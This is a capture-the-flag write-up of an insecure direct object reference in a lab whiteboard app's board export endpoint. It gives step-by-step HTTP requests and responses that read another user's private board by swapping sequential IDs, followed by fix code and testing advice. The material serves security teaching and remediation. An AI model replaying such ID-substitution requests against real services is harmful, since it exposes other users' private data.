Mosaic: IDOR on Board Export
Executive Summary
Mosaic is a collaborative whiteboard application: a Vue 3 SPA in front of an Express-style JSON API, with an opaque mosaic_session cookie, a CSRF header on API calls, and a strict CSP. Users register into their own workspace, create boards, place notes and frames on a canvas, comment, invite collaborators, and export a board as JSON.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | IDOR on board export: authenticated user reads another user’s private board | Medium | 6.5 | CWE-639 | GET /api/boards/:id/export |
The board export endpoint returns any board by ID without checking that the requester owns or belongs to it. Board IDs are sequential integers. The board detail, history and sharing routes return 404 for a board the requester is not a member of, but the export route on the same board returns 200 with its title, description, items and comments. Exporting board 1003, which is absent from our own board list, returned a private board titled “A quiet corner” containing the flag.
Objective
Identify and exploit security defects in the Mosaic whiteboard application (BugForge lab) and retrieve the flag.
Scope / Initial Access
# Target Application
URL (solve): https://lab-1791839381488-f3pmu8.labs-app.bugforge.io/
URL (control): https://lab-1791839834887-9aknb1.labs-app.bugforge.io/ (respawned instance)
# Auth details
POST /api/auth/register {name,email,password} -> 201 + Set-Cookie: mosaic_session (HttpOnly, SameSite=Strict, 8h)
GET /api/auth/me -> {user:{id,workspace_id,name,email,role,color}, csrf}
API calls carry the csrf value in an X-CSRF-Token header.
A new account gets its own workspace (role "admin" of that workspace) and an auto-created welcome board.
The flag is generated per instance: the solve instance returned bug{vHf61Iqtwzavht1IiIZSGPvz9M0BsK2M} and the respawned control instance returned bug{YJKJkQPGwd93EWu4SB7ie910rlOkoONQ} from the same request.
Reconnaissance: Walking the App and Reading the Bundle
The application was walked as a normal user through the proxy (register, rename profile, change password, create a board, add a note, invite, comment, archive and restore, open history and sharing), and the Vite bundle /assets/index-DdB30dw5.js was read for the full route list.
- Board IDs are sequential integers serialized as strings. Our welcome board was
1005and the board we created was1006, so IDs1001to1004existed before our account did. GET /api/boardsreturned only boards 1005 and 1006, both with ourowner_id.- Every board call in the bundle goes through one fetch helper that prefixes
/apiand attaches the CSRF header. The export button is the exception, a plain link:
// fetch helper
fetch("/api"+m,{method:o,headers:{"Content-Type":"application/json","X-CSRF-Token":Se},body:...})
// export button
u("a",{class:"secondary",href:"/api/boards/"+S.value.id+"/export"},[ ... U("Export",-1) ])
- Clicking Export sends a browser navigation with no CSRF header and receives
Content-Disposition: attachment; filename="mosaic-board.json". Because the export route is called differently from every other board route, its authorization was tested separately.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | Vue 3 SPA (@vue/shared 3.5.43), Vite bundle index-DdB30dw5.js |
| Backend | Express-style JSON API (weak W/"..." ETags, {"error":"..."} envelope); framework not confirmed |
| Auth | Opaque mosaic_session cookie, rotated on password change; CSRF token from /api/auth/me |
| Headers | CSP script-src 'self', X-Frame-Options: DENY, nosniff, CORP same-origin |
| Realtime | WebSocket /live?board=<id> (subprotocol mosaic) |
| IDs | Boards: sequential integers. Items, comments, users, workspaces: UUIDv4 |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/auth/register | POST | No | Creates user, workspace and welcome board |
| /api/auth/me | GET | Yes | User object + CSRF token |
| /api/boards | GET / POST | Yes | List returns only our boards |
| /api/boards/:id | GET | Yes | 404 for a non-member |
| /api/boards/:id | PATCH | Yes | Not tested against a foreign ID |
| /api/boards/:id/history | GET | Yes | 404 for a non-member |
| /api/boards/:id/sharing | GET | Yes | 404 for a non-member |
| /api/boards/:id/export | GET | Yes | Reached by <a href>; returns any board (F1) |
| /api/boards/:id/items, /comments, /invites, /members, /share | various | Yes | Board content and collaboration |
| /api/boards/:id/duplicate, /restore, /favorite | POST | Yes | Not tested against a foreign ID |
| /live?board=:id | WS | Yes | Not tested against a foreign ID |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ 1. Register │ │ 2. List our boards │ │ 3. Export own board │ │ 4. Export board 1003 │
│ │ │ │ │ │ │ │
│ POST /api/auth/ │ │ GET /api/boards │ │ GET /api/boards/ │ │ GET /api/boards/ │
│ register │───▶│ │───▶│ 1006/export │───▶│ 1003/export │
│ session cookie, own │ │ only 1005 and 1006 │ │ 200, JSON attachment │ │ 200, private board │
│ boards 1005, 1006 │ │ 1003 is not ours │ │ │ │ "A quiet corner" │
│ │ │ │ │ │ │ + flag │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1: IDOR on Board Export: Authenticated User Reads Another User’s Private Board
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: GET /api/boards/:id/export
Authentication required: Yes (every request sent carried a session cookie; an unauthenticated request was not tested)
Description
GET /api/boards/:id/export returns the JSON export (title, description, items, comments) of the board named in the path without checking that the requester owns or is a member of that board.
The other board routes do check. As a freshly registered user who owns only board 1005, on the respawned instance:
| Route | Own board 1005 | Board 1003 |
|---|---|---|
GET /api/boards/:id |
200 | 404 {"error":"Board not found."} |
GET /api/boards/:id/history |
200 | 404 {"error":"Board not found."} |
GET /api/boards/:id/sharing |
200 | 404 {"error":"Board not found."} |
GET /api/boards/:id/export |
200 | 200, full export + flag |
Board 1003 is not in our board list, and its title and description (“A quiet corner”, “Personal ideas before they’re ready to share.”) identify it as another user’s private board. The export response omits owner_id and workspace_id, so the owning workspace was not captured; since registration creates a separate workspace per account, 1003 most likely belongs to another workspace, but this is inferred. Board 1003 was chosen by counting down from our own IDs and was the only foreign board exported; 1001, 1002 and 1004 were not requested. Because the IDs are sequential and the export route returned the full contents of a board we have no access to, every board’s contents are reachable the same way, which is the basis for the High confidentiality rating.
Impact
Would allow any registered user to read the full contents of other users’ private boards they were never given access to.
Reproduction
Step 1: Register an account
POST /api/auth/register HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Content-Type: application/json
{"name":"haxor","email":"[email protected]","password":"password"}
Response: 201 Created, {"ok":true}, Set-Cookie: mosaic_session=.... The account gets its own workspace and welcome board 1005; a second board created through the UI gets ID 1006.
Step 2: Confirm which boards belong to us
GET /api/boards HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
X-CSRF-Token: <csrf from /api/auth/me>
Response: 200 OK, an array containing only boards 1006 and 1005, both with "role":"owner" and our owner_id. Board 1003 is not listed.
Step 3: Export our own board (baseline)
GET /api/boards/1006/export HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8
{"title":"tset","description":"test","items":[{"id":"2602311d-5844-4fff-ad8b-83f94952b2cf","type":"note","text":"A new idea…","x":742,"y":398,"width":230,"height":210,"color":"butter"}],"comments":[]}
The export body is a projection of the board selected by the path ID.
Step 4: Export board 1003
GET /api/boards/1003/export HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8
{"title":"A quiet corner","description":"Personal ideas before they’re ready to share.","flag":"bug{vHf61Iqtwzavht1IiIZSGPvz9M0BsK2M}","items":[],"comments":[]}
A board absent from our list is returned in full, with the flag in a flag key.
Step 5: Confirm the sibling routes are gated (respawned instance, fresh account owning only 1005)
GET /api/boards/1003 HTTP/1.1
Host: lab-1791839834887-9aknb1.labs-app.bugforge.io
Cookie: mosaic_session=<fresh session>
X-CSRF-Token: <csrf>
HTTP/1.1 404 Not Found
{"error":"Board not found."}
/api/boards/1003/history and /api/boards/1003/sharing return the same 404. The export route with the same session:
GET /api/boards/1003/export HTTP/1.1
Host: lab-1791839834887-9aknb1.labs-app.bugforge.io
Cookie: mosaic_session=<fresh session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8
{"title":"A quiet corner","description":"Personal ideas before they’re ready to share.","flag":"bug{YJKJkQPGwd93EWu4SB7ie910rlOkoONQ}","items":[],"comments":[]}
All four routes return 200 for our own board 1005.
Remediation
Fix 1: Apply the membership check the other board routes use
The detail, history and sharing routes return 404 for non-members; the export route should call whatever lookup those routes already use rather than fetching the board by ID alone. The code below is illustrative (source was not available); the membership table stands in for however the application records owners and members.
// BEFORE (Vulnerable)
router.get('/boards/:id/export', requireAuth, async (req, res) => {
const board = await db.get('SELECT * FROM boards WHERE id = ?', req.params.id);
if (!board) return res.status(404).json({ error: 'Board not found.' });
res.attachment('mosaic-board.json').json(exportBoard(board));
});
// AFTER (Secure)
router.get('/boards/:id/export', requireAuth, async (req, res) => {
const board = await db.get(
`SELECT b.* FROM boards b
JOIN board_members m ON m.board_id = b.id
WHERE b.id = ? AND m.user_id = ?`,
req.params.id, req.user.id
);
if (!board) return res.status(404).json({ error: 'Board not found.' });
res.attachment('mosaic-board.json').json(exportBoard(board));
});
Fix 2: Enforce board membership once for every /boards/:id route
Resolve and authorize the board in one router parameter handler so a route added later (export, duplicate, a WebSocket join) cannot be registered without the check.
// BEFORE (Vulnerable): illustrative; each route resolves the board on its own
// AFTER (Secure)
router.param('id', async (req, res, next, id) => {
const board = await loadBoardForMember(id, req.user.id);
if (!board) return res.status(404).json({ error: 'Board not found.' });
req.board = board;
next();
});
Additional recommendations:
- Add an authorization regression test that requests every
/api/boards/:id/*route with a non-member session and expects 404. - Apply the same check to
POST /duplicate,/restoreand the/live?board=WebSocket join, which were not tested against a foreign ID. - Use non-sequential board identifiers (UUIDs) as defence in depth so board IDs cannot be walked.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: the export route returns a board to a user who is not a member of it, while sibling routes on the same board deny that user.
- API1:2023 Broken Object Level Authorization (OWASP API Top 10): the board is selected purely by a sequential ID in the path with no object-level check on the export handler.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy history of the site walk and Replay for ID substitution on the export request |
| Firefox | Walking the application as a normal user |
| curl | Control requests on the respawned instance |
References
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP Top 10 A01:2021 Broken Access Control
- OWASP API Security Top 10 API1:2023 Broken Object Level Authorization
- OWASP Authorization Testing: Insecure Direct Object References
Failed Approaches
None. The first foreign board ID tried on the export route returned the board. The gated detail, history and sharing routes are the control for the finding and are shown in the Description table and Step 5.
Tags: #idor #bola #broken-access-control #sibling-route #export #bugforge
Document Version: 1.1
Last Updated: 2026-10-13